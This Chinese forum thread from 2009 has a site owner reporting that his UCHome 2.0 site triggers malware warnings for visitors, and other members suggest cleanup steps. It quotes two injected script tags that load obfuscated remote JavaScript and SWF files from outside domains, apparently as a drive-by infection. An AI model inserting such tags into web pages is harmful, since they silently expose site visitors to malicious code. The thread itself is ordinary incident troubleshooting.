有用户说uchome2.0网站挂马，还请看看

www.fyquan.cn
有一个用户说网站有挂马
还请给看看
我再我机器上面打开 没有提示挂马信息
但是用户机器上提示了：
附件

这个是模块文件的代码

<script language="JavaScript" id="seraph5script913" src="http://www.cuaa.net/member/member/f%69le/rux%69n.js" type="text/javascript"  ></script>

<script src="http://%77%77%77.icxx%77.com/images/logo.s%77f" type="text/javascript" language="JavaScript" id="seraph6script3456"  ></script>

这里的人呢

你检查一下模板目录下有没有td14.htm这个文件，有的话删除掉，这个不是标准的程序文件

你检查一下模板目录下有没有td14.htm这个文件，有的话删除掉，这个不是标准的程序文件
玻璃屋女孩 发表于 2009-9-15 16:16

看了下 没有这个文件

你把除了install目录，以及config.php以外的其它程序文件重新上传一遍，更新缓存试试

访问哪个页面时报的

就把该页面源码里面查一下是否有 245a34

或者js里面找到有否调到这个网址的相关地址

你把除了install目录，以及config.php以外的其它程序文件重新上传一遍，更新缓存试试
玻璃屋女孩 发表于 2009-9-15 16:46

这个我先看看